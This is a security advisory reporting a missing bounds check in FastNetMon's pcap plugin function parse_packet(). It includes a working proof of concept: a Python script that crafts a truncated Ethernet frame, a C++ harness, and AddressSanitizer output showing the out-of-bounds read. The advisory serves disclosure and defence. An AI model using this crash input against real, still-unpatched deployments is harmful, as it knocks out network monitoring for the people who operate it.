Skip to content

Legacy pcap parse_packet() has no bounds checking, causing out-of-bounds read on truncated frames

High
pavel-odintsov published GHSA-c27c-943r-vr8h Jul 20, 2026

Package

fastnetmon (Package)

Affected versions

<= 1.2.9

Patched versions

None

Description

Summary

FastNetMon's pcap capture plugin's frame handler performs zero bounds checking against the actual captured frame length. Despite a stale comment claiming it's unused, it's the live pcap_loop callback whenever pcap = on. A short/truncated captured frame crashes the process.

Details

parse_packet() (src/pcap_plugin/pcap_collector.cpp:85-167), registered at pcap_collector.cpp:224 (pcap_loop(descr, -1, (pcap_handler)parse_packet, NULL);) and reachable via fastnetmon.cpp:1018/2136 when pcap = on:

// We do not use this function now! It's buggy!      <- misleading; it IS live
void parse_packet(u_char* user, struct pcap_pkthdr* packethdr, const u_char* packetptr) {
    ...
    iphdr = (struct ip*)packetptr;                     // no length check
    uint32_t src_ip = iphdr->ip_src.s_addr;             // dereferenced regardless of caplen
    ...
    packetptr += 4 * iphdr->ip_hl;                      // attacker-controlled IHL, unchecked
    tcphdr = (struct tcphdr*)packetptr;                 // dereferenced with zero remaining-length guarantee

packethdr->caplen (the actual captured byte count) is never read anywhere in the function.

PoC

Step 1 - craft the malicious frame (craft_ghsa04.py):

#!/usr/bin/env python3
import struct

dst_mac = b"\xaa" * 6
src_mac = b"\xbb" * 6
ethertype = struct.pack(">H", 0x0800)  # IPv4
eth = dst_mac + src_mac + ethertype
assert len(eth) == 14
# No IP header bytes at all -- parse_packet() casts struct ip* right past the end.
open("pcap_ghsa04_truncated_eth.bin", "wb").write(eth)
print(f"wrote pcap_ghsa04_truncated_eth.bin ({len(eth)} bytes)")

Step 2 - feed it to the real function (harness_pcap.cpp, declares parse_packet() extern and links against the unmodified pcap_plugin code):

#include <cstdio>
#include <cstring>
#include <cstdint>
#include <ctime>
#include <map>
#include <string>
#include <pcap.h>
#include "fastnetmon_types.hpp"
#include "all_logcpp_libraries.hpp"

// pcap_collector.cpp references these directly (normally defined in fastnetmon.cpp).
log4cpp::Category& logger = log4cpp::Category::getRoot();
time_t current_inaccurate_time = 0;
std::map<std::string, std::string> configuration_map;

// Non-static symbol in pcap_collector.cpp, not exported via a header, but linkable directly.
extern void parse_packet(u_char* user, struct pcap_pkthdr* packethdr, const u_char* packetptr);
extern process_packet_pointer pcap_process_func_ptr;   // default NULL in pcap_collector.cpp

static void dummy_process_packet(simple_packet_t& packet) {
    fprintf(stderr, "sink reached: src_port=%u dst_port=%u protocol=%u\n",
            packet.source_port, packet.destination_port, packet.protocol);
}

int main(int argc, char** argv) {
    if (argc < 2) { fprintf(stderr, "usage: %s <frame-file>\n", argv[0]); return 1; }

    FILE* fp = fopen(argv[1], "rb");
    fseek(fp, 0, SEEK_END);
    long sz = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    // Tightly-sized heap allocation matching the claimed captured length exactly -- the
    // key to deterministically catching the OOB read: no slack bytes at all.
    uint8_t* heap_buf = new uint8_t[sz];
    fread(heap_buf, 1, sz, fp);
    fclose(fp);

    struct pcap_pkthdr hdr;
    memset(&hdr, 0, sizeof(hdr));
    hdr.caplen = (bpf_u_int32)sz;   // the field parse_packet() SHOULD check but never reads
    hdr.len    = (bpf_u_int32)sz;

    pcap_process_func_ptr = dummy_process_packet;

    parse_packet(nullptr, &hdr, heap_buf);   // real production entrypoint

    delete[] heap_buf;
    fprintf(stderr, "OK: no crash, processed %ld bytes\n", sz);
    return 0;
}

Build (against FastNetMon's own pcap_plugin source, compiled with -fsanitize=address,undefined) and run:

$ python3 craft_ghsa04.py
$ ./harness_pcap pcap_ghsa04_truncated_eth.bin

Result:

==8==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000002a
READ of size 4 at 0x60200000002a thread T0
    #0 parse_packet(...) pcap_collector.cpp:108

0x60200000002a is located 12 bytes to the right of 14-byte region [0x602000000010,0x60200000001e)

A control run with a well-formed 42-byte Ethernet+IPv4+UDP frame completes cleanly (no crash, exit 0) - ruling out a false positive from the harness itself.

Impact

Denial of service via a truncated captured frame. Since pcap mode captures whatever traverses the monitored interface - normal internet traffic for a border/transit mirror, not just on-segment hosts - this is effectively remote for typical deployments, not merely local-segment.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

CVE ID

No known CVE

Weaknesses

Out-of-bounds Read

The product reads data past the end, or before the beginning, of the intended buffer. Learn more on MITRE.

Credits